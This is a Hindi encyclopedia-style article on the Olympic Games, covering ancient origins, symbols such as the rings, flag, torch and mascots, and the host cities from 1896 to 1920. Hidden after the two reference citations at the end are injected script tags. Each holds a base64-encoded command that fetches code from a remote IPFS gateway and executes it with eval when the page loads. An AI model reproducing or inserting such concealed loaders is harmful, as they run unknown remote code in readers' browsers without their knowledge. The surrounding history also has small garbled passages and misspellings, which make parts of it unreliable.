ओलम्पिक खेल

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ओलम्पिक खेल
ओलम्पिक का प्रतीक चिह्न
विवरण ओलम्पिक खेल अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है।
सर्वोच्च नियंत्रण निकाय अन्तर्राष्ट्रीय ओलम्पिक समिति (आईओसी या IOC)
शुरुआत सन 1896 में (एथेंस)
प्रकार ग्रीष्मकालीन ओलम्पिक खेल, शीतकालीन ओलम्पिक खेल, पैरालम्पिक खेल
अन्य जानकारी प्राचीन ओलम्पिक में मुक्केबाज़ी, कुश्ती, घुड़सवारी के खेल खेले जाते थे। खेल के विजेता को कविता और मूर्तियों के जरिए प्रशंसित किया जाता था। हर चार साल पर होने वाले ओलम्पिक खेल के वर्ष को ओलंपियाड के नाम से भी जाना जाता था।

ओलम्पिक खेल अन्तर्राष्ट्रीय स्तर पर आयोजित होने वाली बहु-खेल प्रतियोगिता है। आधुनिक ओलम्पिक खेल एथेंस में सन 1896 में आरम्भ किये गये। इन खेलों में भारत स्वर्ण पदक भी जीत चुका है। ओलम्पिक खेल प्रत्येक चार वर्ष बाद विश्व के किसी प्रसिद्ध स्थान पर आयोजित किये जाते हैं। सन 2008 के ओलम्पिक खेल चीन के बीजिंग तथा सन 2012 के ओलम्पिक खेल ब्रिटेन के लंदन में आयोजित किए गए।

ओलम्पिक का इतिहास

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प्राचीन काल में शांति के समय योद्धाओं के बीच प्रतिस्पर्धा के साथ खेलों का विकास हुआ। दौड़, मुक्केबाजी, कुश्ती और रथों की दौड़ सैनिक प्रशिक्षण का हिस्सा हुआ करते थे। इनमें से सबसे बेहतर प्रदर्शन करने वाले योद्धा प्रतिस्पर्धी खेलों में अपना दमखम दिखाते थे। समाचार एजेंसी ‘आरआईए नोवोस्ती’ के अनुसार प्राचीन ओलम्पिक खेलों का आयोजन 1200 साल पूर्व योद्धा-खिलाड़ियों के बीच हुआ था। हालांकि ओलम्पिक का पहला आधिकारिक आयोजन 776 ईसा पूर्व में हुआ था, जबकि आखिरी बार इसका आयोजन 394 ईस्वी में हुआ। इसके बाद रोम के सम्राट थियोडोसिस ने इसे मूर्तिपूजा वाला उत्सव करार देकर इस पर प्रतिबंध लगा दिया गया। इसके बाद लगभग डेढ़ सौ सालों तक इन खेलों को भुला दिया गया। हालांकि मध्यकाल में अभिजात्य वर्गों के बीच अलग-अलग तरह की प्रतिस्पर्धाएं होती रहीं। लेकिन इन्हें खेल आयोजन का दर्जा नहीं मिल सका। कुल मिलाकर रोम और ग्रीस जैसी प्रभुत्वादी सभ्यताओं के अभाव में इस काल में लोगों के पास खेलों के लिए समय नहीं था। 19वीं शताब्दी में यूरोप में सर्वमान्य सभ्यता के विकास के साथ पुरातन काल की इस परंपरा को फिर से जिंदा किया गया। इसका श्रेय फ्रांस के अभिजात पुरुष बैरों पियरे डी कुवर्तेन को जाता है। कुवर्तेन ने दो लक्ष्य रखे, एक तो खेलों को अपने देश में लोकप्रिय बनाना और दूसरा, सभी देशों को एक शांतिपूर्ण प्रतिस्पर्धा के लिए एकत्रित करना। कुवर्तेन मानते थे कि खेल युद्धों को टालने के सबसे अच्छे माध्यम हो सकते हैं। कुवर्तेन की इस परिकल्पना के आधार पर वर्ष 1896 में पहली बार आधुनिक ओलम्पिक खेलों का आयोजन ग्रीस (यूनान) की राजधानी एथेंस में हुआ। शुरुआती दशक में ओलम्पिक आंदोलन अपने अस्तित्व को बचाने के लिए संघर्ष करता रहा क्योंकि कुवर्तेन की इस परिकल्पना को किसी भी बड़ी शक्ति का साथ नहीं मिल सका था। एक बार तो ऐसा लगा कि वित्तीय समस्याओं के कारण एथेंस से ये खेल निकलकर हंगरी की राजधानी बुडापेस्ट चले जाएंगे।

प्रतीक

ओलम्पिक वलय

एक-दूसरे से जुड़े हुए 5 वलय (Rings) पांच महाद्वीपों, उत्तरी अमेरिका तथा दक्षिणी अमेरिका को एक ही वलय (रिंग) में दर्शाया गया है, ओलम्पिक के प्रतीक हैं। यह खेलों के माध्यम से सभी महाद्वीपों के लोगों को एकता के सूत्र में पिरोने का प्रतीक हैं। नीले, पीले, काले, हरे और लाल रंग के ये 5 वलय एक दूसरे में गुंथे हुए हैं। इसे आधुनिक ओलम्पिक के संस्थापक पियरे बारोन डे कुबेर्टिन ने बनाया था। ये पांच घेरे उत्साह, आस्था, विजय, काम की नैतिकता और खेल भावना को दिखाते हैं। पहली बार साल 1920 के एंटवर्प ओलम्पिक खेलों में इन्हें आधिकारिक तौर पर प्रयोग में लाया गया, लेकिन 1936 के ओलम्पिक खेलों में बड़े पैमाने पर इसका उपयोग होने से इसे ज्यादा लोकप्रियता मिलनी शुरू हुई।

ओलम्पिक ध्वज

ओलम्पिक ध्वज

प्रत्येक ओलम्पिक खेलों के समापन समारोह के दौरान मेजबान शहर की तरफ से अगले आयोजित शहर को ओलम्पिक ध्वज प्रदान किया जाता है। पहली बार 1920 के ग्रीष्मकालीन ओलम्पिक खेलों में बेल्जियम के शहर एंटवर्प की तरफ से अंतर्राष्ट्रीय ओलम्पिक संघ को ओलम्पिक ध्वज दिया गया। खेलों की समाप्ति पर ये ध्वज नहीं मिल सका और इसलिए 1924 के ओलम्पिक खेलों के लिए दोबारा ध्वज बनाया गया, लेकिन फिर भी इसे 'एंटवर्प ध्वज' कहा गया और उसके बाद से ये अगले आयोजित शहर को दिया जाने लगा। ओलम्पिक ध्वज में श्वेत पृष्ठभूमि पर 5 रंगीन छल्ले यानि ओलम्पिक वलय को दर्शाया जाता है और यह ध्वज खेल के सभी समारोहों में फहराया जाता है। इस ध्वज में

  1. नीले रंग का वलय यूरोप को प्रदर्शित करता है।  
  2. काले रंग का वलय अफ़्रीका को प्रदर्शित करता है।
  3. लाल रंग का वलय अमेरिका को प्रदर्शित करता है
  4. पीले रंग का वलय एशिया को प्रदर्शित करता है
  5. हरे रंग का वलय ऑस्ट्रेलिया को प्रदर्शित करता है

ओलम्पिक मशाल

ओलम्पिक ज्वाला या मशाल ओलम्पिक खेलों का एक प्रतीक है। बहुत समय पहले ओलम्पिया, ग्रीस में प्राचीन ओलम्पिक के आयोजन के समय खेलों के सफलतापूर्वक समापन के लिए अग्नि देवता की प्रार्थना की गई थी तथा एक मशाल भी जलाई गई थी। यह परंपरा आज भी जारी है। हर बार के खेलों के लिए नई मशाल बनायी जाती है। ओलम्पिक खेलों की प्रतीक मशाल की लौ पवित्र मानी जाती है, क्योंकि सूर्य की किरणों को लेंस से गुजारकर अग्नि प्रज्जवलित होती है, जो मशाल को रोशन करती है। इसे फिर कलश में रखा जाता है और फिर इसे उस स्टेडियम में ले जाया जाता है जहां पहली बार ओलम्पिक खेल हुए थे। यह मशाल ओलम्पिक खेलों के आगाज से पहले अपनी यात्रा खत्म कर मेजबान शहर में पहुंचती है। आधुनिक ओलम्पिक की बात करें तो 1936 के बर्लिन ओलम्पिक में पहली बार मशाल यात्रा शुरू हुई। 1952 के ओस्लो ओलम्पिक में मशाल ने पहली बार हवाई मार्ग से यात्रा की। 1956 के स्कॉटहोम ओलम्पिक में घोड़े की पीठ पर शाल यात्रा सम्पन्न की गई। सन 1960 के रोम ओलम्पिक में पहली बार मशाल यात्रा का टेलीविजन प्रसारण हुआ। इस बार इसमें मीडिया ने भी दिलचस्पी दिखाई। 1968 के मैक्सिको ओलम्पिक में मशाल को समुद्र के रास्ते ले जाया गया। 1976 के मांट्रियल ओलम्पिक में कनाडा ने एथेंस से ओटावा तक मशाल के सफर का सेटेलाइट प्रसारण किया। 1994 के लिलेहैमर शीतकालीन खेलों के दौरान पैराजंपरों ने पहली बार हवा में मशाल का आदान-प्रदान किया। 2000 के सिडनी ओलम्पिक में तो मशाल को ग्रेट बैरियर रीफ के पास समुद्र की गहराइयों में उतारा गया।

ओलम्पिक शुभंकर

ओलम्पिक शुभंकर 'मांडेविल्ले'

शुभंकर का अर्थ होता है कल्याणकारी। शुभंकर खेलों के प्रतिनिधि होते हैं और प्रतियोगियों और दर्शकों में उत्साह लाते हैं। इंसान या जानवर की आकृति वाला यह शुभंकर मेजबान देश की सांस्कृतिक धरोहर को दर्शाता है। ओलम्पिक खेलों का पहला शुभंकर 1968 के ओलम्पिक के दौरान आया, हालांकि ये अनाधिकारिक था। आधिकारिक रूप से ओलम्पिक खेलों का पहला शुभंकर 1972 के खेलों में शामिल हुआ। लंदन में 2012 में होने वाले ओलम्पिक खेलों का शुभंकर 'वेनलॉक’ और पैरालंपिक खेलों का ‘मांडेविल्ले' को चुना गया। इस शुभंकर को बोल्टोन के एक कारखाने में इस्पात की दो बूंदों से बनाया गया है। इसमें एक ही आंख है, जो कैमरे के लैंस की जैसी दिखती है। वेनलॉक नाम, वेनलॉक शहर के नाम पर रखा गया, जहां 19 वीं शताब्दी में वेनलॉक खेलों का आयोजन किया गया था। आधुनिक ओलम्पिक खेलों के लिए यह आयोजन एक बड़ा प्रेरणास्रोत बना था। जबकि मांडेविल्ले नाम बकिंघमशायर के स्टॉक मांडेविल्ले के नाम पर रखा गया है, जहां पहले पैरालंपिक खेल हुए थे। वेनलॉक के सबसे ऊपर एक हेड लाईट लगी है जो लंदन की काली टैक्सियों की लाइट्स से प्रेरित है। इसके चेहरे का आकार ओलम्पिक स्टेडियम की छत का है, जबकि इसके सिर का आकार ओलम्पिक खेलों में जीते जाने वाले 3 मेडल्स को दिखाता है। कैमरे के लेंस की तरह दिखती इसकी एक आँख दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए है। इसके दोनों हाथों में ओलम्पिक रिंग्स ब्रेसलेट की तरह बंधे हैं। जबकि इसके शरीर पर ओलम्पिक का लोगो (प्रतीक) छपा है। वेनलॉक की तरह ही मांडेविल्ले के सबसे ऊपर लंदन की काली टैक्सियों की लाइट्स से प्रेरित एक हेड लाईट और दिखाई देने वाली सभी चीजों को कैप्चर करने के लिए कैमरे के लेंस की तरह दिखती एक आँख है। हेलमेट की तरह के इसके सिर में पैरालंपिक खेलों के तीन रंग दिखाई देते हैं। इसके हाथ में गुलाबी रंग की घड़ी भी है।

ओलम्पिक शुभंकर 'वेनलॉक'

आदर्श वाक्य

आदर्श वाक्य, जीवन का बहुत गूढ़ दर्शन प्रस्तुत करता है। जीवन की आचार संहिता का पालन करने के लिए प्रेरित करने वाला एक कथन है आदर्श वाक्य। ओलम्पिक्स आदर्श वाक्य तीन लैटिन शब्दों से बना है, जो हैं- सिटिअस-अल्टिअस-फॉरटिअस (Citius- Altius- Fortius)। इन शब्दों का अर्थ है- तेज़-उच्चतर-मजबूत। ये तीन शब्द खिलाड़ियों में उत्साह भरते हैं। खेल प्रतिभागी अपना सबसे अच्छा प्रदर्शन करने के लिए प्रेरित होते हैं। इसे अच्छी तरह समझने के लिए हम ओलम्पिक के सिद्धांत से इसकी तुलना कर सकते हैं। जीवन में सबसे महत्वपूर्ण बात जीतना नहीं, बल्कि लड़ना है, जरुरी यह नहीं की आप जीते हैं, जरुरी ये है कि आप अच्छी तरह खेले। ओलम्पिक वाक्य और सिद्धांत एक साथ इस तरफ़ इशारा करते हैं कि कुबेर्टिन ने जीवन जीने के महत्वपूर्ण सबक पर विश्वास किया और उसे आगे बढ़ाया।[1]

ओलम्पिक आयोजन

एथेंस (1896)

पहले आधुनिक ओलम्पिक खेल यूनान की राजधानी एथेंस में 1896 में आयोजित किए गए। एक बार तो ऐसा लगा कि वित्तीय समस्याओं के कारण एथेंस से ये खेल निकलकर हंगरी की राजधानी बुडापेस्ट चले जाएँगे। पहले यह तय हुआ था कि पहले आधुनिक ओलम्पिक खेल 1900 में पेरिस में आयोजित होंगे, लेकिन चार साल पहले ही ओलम्पिक खेलों के आयोजन के लिए एथेंस को चुना गया, हालाँकि खेल शुरू होने से पहले ही यूनान गंभीर वित्तीय संकट में फँस गया था। उस साल हंगरी अपनी हज़ारवीं सालगिरह मनाने की तैयारी रहा था और उसने यूनान की जगह अपने यहाँ ओलम्पिक आयोजित कराने की पेशकश की। लेकिन ऐसा हुआ नहीं, यूनान के राजकुमार ने ओलम्पिक आयोजन समिति का गठन किया और उसके बाद समिति को बड़ी मात्रा में सहायता राशि मिली। पहले आधुनिक ओलम्पिक खेलों में सिर्फ़ 14 देशों के 200 लोगों ने 43 मुक़ाबलों में हिस्सा लिया। ज़्यादातर मुक़ाबलों में मेजबान देश के खिलाड़ियों ने हिस्सा लिया। प्रमुख मुक़ाबलों में शामिल थे- टेनिस, ट्रैक एंड फ़ील्ड, भारोत्तोलन, साइकिलिंग, कुश्ती, तीरंदाज़ी, तैराकी और जिम्नास्टिक. क्रिकेट और फ़ुटबॉल प्रतियोगिताएँ इसलिए रद्द कर दीं गईं, क्योंकि इन मुक़ाबलों में हिस्सा लेने वाली टीमों की कमी थी। मुक़ाबले में जीतने वालों को सिल्वर मेडल, एक प्रमाणपत्र और ओलिव के पत्ते दिए जाते थे। दूसरे नंबर पर आने वाले खिलाड़ियों को काँस्य पदक दिए जाते थे, जबकि तीसरे नंबर पर आने वाले खिलाड़ियों को खाली हाथ लौटना पड़ता था। पहले ओलम्पिक पदक विजेता बनें अमरीका के जेम्स ब्रेंडन कोनोली। उन्होंने ट्रिपल जंप में 13.71 मीटर छलांग लगाकर जीत हासिल की थी। यूनानी लोगों के ज़बरदस्त उत्साह के कारण पहले आधुनिक ओलम्पिक खेलों को काफ़ी सफल आयोजन माना गया।[2]

पेरिस (1900)

1896 के बाद पेरिस को ओलंपिक की मेजबानी का इंतज़ार नहीं करना पड़ा और उसे 1900 में मौक़ा मिल ही गया। पेरिस ओलंपिक खेलों में पहली बार महिला एथलीटों को भी अपना दमखम दिखाने का मौक़ा मिला, लेकिन क़रीब एक हज़ार प्रतियोगियों में सिर्फ़ 20 महिलाएँ थीं। इस बार भी ओलंपिक के आयोजन को लेकर विवाद हुआ। यूनान ने दावा किया कि उसे भविष्य के सभी ओलंपिक खेलों के आयोजन का हक़ है, लेकिन ओलंपिक समिति ने 1894 के अपने प्रस्ताव को आधार माना और पेरिस को चुना। यूनान और तुर्की के बीच चल रहे युद्ध के कारण भी यूनान का केस कमज़ोर पड़ गया। पेरिस में ओलंपिक तो आयोजित हो गए, लेकिन यूनान जैसा उत्साह यहाँ के लोगों में देखने को नहीं मिला, क्योंकि उन्हें न तो इतने बड़े आयोजन की सूचना थी और न आयोजन करने वालों ने इस पर ध्यान ही दिया। लेकिन जो लोग देखने आए, उन्हें भी अपनी उस समय अपनी जान निकलती महसूस हुई, जब डिस्कस थ्रो के चैंपियन हंगरी के रुडोल्फ़ बाऊर की डिस्क तीन पर दर्शकदीर्घा में जाकर गिरी। पेरिस ओलंपिक में भाग लेने वाले देशों की संख्या भी 14 से बढ़कर 28 हो गई और मुक़ाबले बढ़कर 75। लेकिन एक बार फिर मेजबान देश के एथलीट ही पूरे ओलंपिक के दौरान अपने प्रदर्शन के लिए चर्चित रहे। हालाँकि कई विजेताओं के नाम और उनकी राष्ट्रीयता को लेकर सालों तक विवाद बनें रहे। पेरिस ओलंपिक का पहला पदक जीता कनाडा के जॉर्ज ऑर्टन ने, लेकिन सालों तक इसकी जानकारी इसलिए नहीं मिल पाई क्योंकि ऑर्टन अमरीकन विश्वविद्यालय की ओर से आए थे और उन्हें अमरीकी खिलाड़ी के रूप में दर्ज किया गया था। क्रिकेट, कॉर्केट, नौकायन पहली बार ओलंपिक में शामिल किए गए, लेकिन कई प्रतियोगियों को तो यह भी मालूम नहीं था कि वे ओलंपिक में हिस्सा ले रहे हैं। पेरिस ओलंपिक के बारे में एक और रोचक बात ये कि ओलंपिक मई में शुरू हुए थे और अक्टूबर में ख़त्म हुए।

सेंट लुई (1904)

सेंट लुई को ओलंपिक के आयोजन में वही समस्याएँ आईं जो चार पहले पेरिस के सामने खड़ी हुईं थीं। क्योंकि ठीक इसी समय वर्ल्ड फ़ेयर चल रहा था। दरअसल ओलंपिक की मेजबानी दी गई थी शिकागो को, लेकिन सेंट लुई के आयोजकों ने धमकी दी कि वे एक समांतर प्रतियोगिता का करेंगे। बाद में अमरीकी राष्ट्रपति रूजवेल्ट और अंतरराष्ट्रीय ओलंपिक समिति ने दख़ल देकर शिकागो की जगह सेंट लुई में ओलंपिक खेल कराने को मंज़ूरी दे दी। लेकिन साढ़े चार महीने चले ओलंपिक खेलों में जनता की रुचि ज़्यादा नहीं दिखी। आधुनिक ओलंपिक खेलों के संस्थापक पिया द कुबर्तां भी यहाँ नहीं पहुँचे। अमरीका आने-जाने के ख़र्च के कारण प्रतियोगियों और भाग लेने वाले देशों की संख्या में बड़ी गिरावट आई। कई मुक़ाबले तो ऐसे थे, जिनमें सिर्फ़ अमरीकी खिलाड़ी ही हिस्सा ले रहे थे और ज़ाहिर था इस ओलंपिक खेल में वे ही छाए रहे। ट्रैक एंड फ़ील्ड मुक़ाबलों में भी अमरीकी खिलाड़ियों का दबदबा बना रहा, लेकिन आयरिश खिलाड़ी थॉमस काइली ने संयुक्त मुक़ाबले में जीत हासिल की यह मुक़ाबला बाद में डेकेथलॉन बना। उस समय बड़ा अंतर यही था कि डेकेथलॉन में शामिल सभी 10 मुक़ाबले एक ही दिन में पूरा करना पड़ता था। अमरीकी जिम्नास्ट एंटन हाइडा ने पाँच स्वर्ण और एक रजत पदक जीता और इस ओलंपिक के सबसे सफल खिलाड़ी बने, लेकिन यूरोप में यही भावना थी कि यह ओलंपिक भी सफल नहीं बन पाया।

लंदन (1908)

1908 में ओलंपिक की मेजबानी सौंपी गई थी रोम को, लेकिन आयोजन पर लगने वाला ख़र्च 1906 में माउंट विसूवियस ज्वालामुखी के विस्फोट के कारण दूसरी जगह लगाना पड़ा। तब लंदन ने आगे आकर मेजबानी की पेशकश की और सिर्फ़ 10 महीनों के अंदर व्हाइट सिटी में एक भव्य स्टेडियम बना। यह पहला ओलंपिक खेल था, जिसमें एथलीटों में अपने देश के झंडे के साथ स्टेडियम में मार्च पास्ट किया। 100 मुक़ाबलों और 2000 से ज़्यादा प्रतियोगियों के कारण लंदन ओलंपिक का स्तर बहुत अच्छा था, लेकिन फिर भी यह ओलंपिक विवादों से अछूता नहीं रहा और देशों की आपसी प्रतिद्वंद्विता के कारण यह ओलंपिक कई कटु यादें भी छोड़ गया। अमरीकी टीम ने मेजबान देश पर आरोप लगाया कि उसके द्वारा नियुक्त जज उसका पक्ष ले रहे हैं। बाद में अंतरराष्ट्रीय ओलंपिक समिति ने घोषणा की कि वह भविष्य में कई देशों के जजों को ओलंपिक में मौक़ा देगी। इन सबके बावजूद एक मौक़े पर खेल भावना भी देखने को मिली। ग्रीको रोमन कुश्ती के मिडिलवेट वर्ग में फ़ाइनल हुआ स्वीडन के फ़्रीथियोफ़ मार्तेन्सन और मौरित्ज़ एंडरसन के बीच। लेकिन मार्तेन्सन के बीमार होने के कारण मैच एक दिन टाला गया। बाद में मार्तेन्सन ने ख़िताबी जीत हासिल की। लंदन ओलंपिक में कुल 21 प्रतियोगिताएँ शामिल की गईं। आईस स्केटिंग और बाइसिकिल पोलो पहली बार आयोजित हुए, लेकिन सबसे ज़्यादा ध्यान खींचा मैराथन दौड़ ने। इटली के डोरंडो पिएत्री स्टेडियम में पहुँचने वाले पहले धावक थे, लेकिन वे कई बार गिरे और बाद में उन्हें उस समय अयोग्य घोषित कर दिया गया, जब कुछ अधिकारियों ने उन्हें 'फ़िनिशिंग लाइन' पार कराने की कोशिश की। बाद में अमरीका के जॉन हेस ने यह दौड़ जीती।

स्कॉटहोम (1912)

स्टॉकहोम ओलंपिक में मुक़ाबलों की संख्या घटकर 14 रह गई, लेकिन एक नई प्रतियोगिता आयोजित हुई पेंटेथलॉन। पेंटेथलॉन में शामिल थे- घुड़सवारी, फ़ेन्सिंग, तैराकी, निशानेबाज़ी और क्रॉस कंट्री रनिंग। इस ओलंपिक में दबदबा क़ायम किया अमरीकी खिलाड़ी जिम थोर्प ने। थोर्प ने पेंटेथलॉन और डेकेथलॉन ने आसानी से जीत हासिल की। स्वीडन के राजा गुस्ताव पंचम ने जिम थोर्प को दुनिया का महानतम एथलीट कहा, लेकिन थोर्प की प्रतिष्ठा पर उस समय प्रश्नचिन्ह लग गया, जब पता चला कि उन्होंने बेसबॉल खेलने के लिए पैसे लिए थे। दरअसल उस समय ओलंपिक में उन्हीं खिलाड़ियों को जगह मिलती थी जो ग़ैर पेशेवर थे। अंतरराष्ट्रीय ओलंपिक समिति (आईओसी) ने थोर्प का पदक इस आधार पर वापस ले लिया कि उन्होंने ओलंपिक के नियमों का उल्लंघन किया है। थोर्प दुनिया के पहले ऐसे खिलाड़ी बनें, जिन्हें पेशेवर खिलाड़ी होने के कारण अपने पदक से हाथ धोना पड़ा। लेकिन 1982 में थोर्प की मौत के 29 साल बाद आईओसी ने उन्हें आधिकारिक रूप से क्षमा कर दिया। यह उस महान एथलीट को सच्ची श्रद्धांजलि थी जिसे महानतम एथलीटों में से एक चुना गया था। फ़िनलैंड के हैनेस कोलेहमैनेन ने सफलता की एक और कहानी गढ़ी। उन्होंने 5000, 10,000 और 12,000 मीटर क्रॉस कंट्री में तीन स्वर्ण पदक जीते। यह लंबी दूर की दौड़ प्रतियोगिता में फ़िनलैंड के वर्चस्व की शुरुआत थी, जो लगभग 30 सालों तक चली। स्टॉकहोम ओलंपिक इसलिए भी यादगार रहा कि इसमें पहली बार समय का पता लगाने के लिए इलेक्ट्रॉनिक उपकरण का इस्तेमाल हुआ। स्टॉकहोम ओलंपिक में ही पहली बार महिलाओं ने तैराकी मुक़ाबले में हिस्सा लिया। 4x100 मीटर रिले में ब्रिटेन ने स्वर्ण पदक जीता।

बेल्जियम (1920)

विश्व युद्ध के कारण 1916 में ओलंपिक खेलों का आयोजन नहीं हुआ, लेकिन 1920 में बेल्जियम के एंटवर्प को मेजबानी का मौक़ा मिला। हालाँकि विश्व युद्ध की पीड़ा बेल्जियम को भी झेलनी पड़ी थी, लेकिन इसके बावजूद आयोजकों ने ज़रूरी व्यवस्था पूरी कर ली। विश्व युद्ध में शामिल होने के कारण जर्मनी, ऑस्ट्रिया, बुल्गारिया, हंगरी और तुर्की को ओलंपिक का न्योता नहीं दिया गया, लेकिन फिर भी इसमें बड़ी संख्या में एथलीटों ने हिस्सा लिया। एंटवर्प ओलंपिक से ही ओलंपिक खेलों का आधिकारिक झंडा सामने आया। इस झंडे में आपस में जुड़े पाँच गोलों को दिखाया गया जो एकता और मित्रता का प्रतीक हैं। पहले ओलंपिक की तरह इस ओलंपिक में भी देशों के बीच शांति प्रदर्शित करने के लिए कबूतर उड़ाए गए। दौड़ मुक़ाबलों में फ़िनलैंड ने अमरीका के वर्चस्व को चुनौती दी। हेनेस कोहेमेनन और पावो नुरमी ने अपना दमखम दिखाया। दोनों ने मिलकर दो स्वर्ण और एक रजत पदक जीते। किसी दक्षिण अमरीकी देश ने पहली बार 1920 में स्वर्ण पदक जीता। ब्राज़ील के गिलहेर्म पैरेंस ने रैपिड फ़ायर पिस्टल प्रतियोगिता में गोल्ड मेडल जीता। दूसरी ओर अमरीका के विली ली ने चार और लॉयड स्पूनर ने पाँच स्वर्ण पदक जीते। अमरीका के ऐलिन रिगिन सबसे कम उम्र में स्वर्ण जीतने वाले खिलाड़ी बनें। उन्होंने गोताख़ोरी में गोल्ड मेडल जीता सिर्फ़ 14 वर्ष और 119 दिन की आयु में। 1500 मीटर में ब्रिटेन के फ़िलिप नोएल बेकर ने सिल्वर मेडल जीता और बाद में वे ब्रिटेन के एमपी भी बने। 1959 में वे पहले ऐसे ओलंपियन बनें, जिन्हें 'नोबेल शांति पुरस्कार' से नवाज़ा गया।


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टीका टिप्पणी और संदर्भ

  1. ओलम्पिक प्रतीक (हिंदी) रफ़्तार डॉट इन। अभिगमन तिथि: 18 अगस्त, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ओलम्पिक का इतिहास (हिंदी) bbc.com। अभिगमन तिथि: 06 अगस्त, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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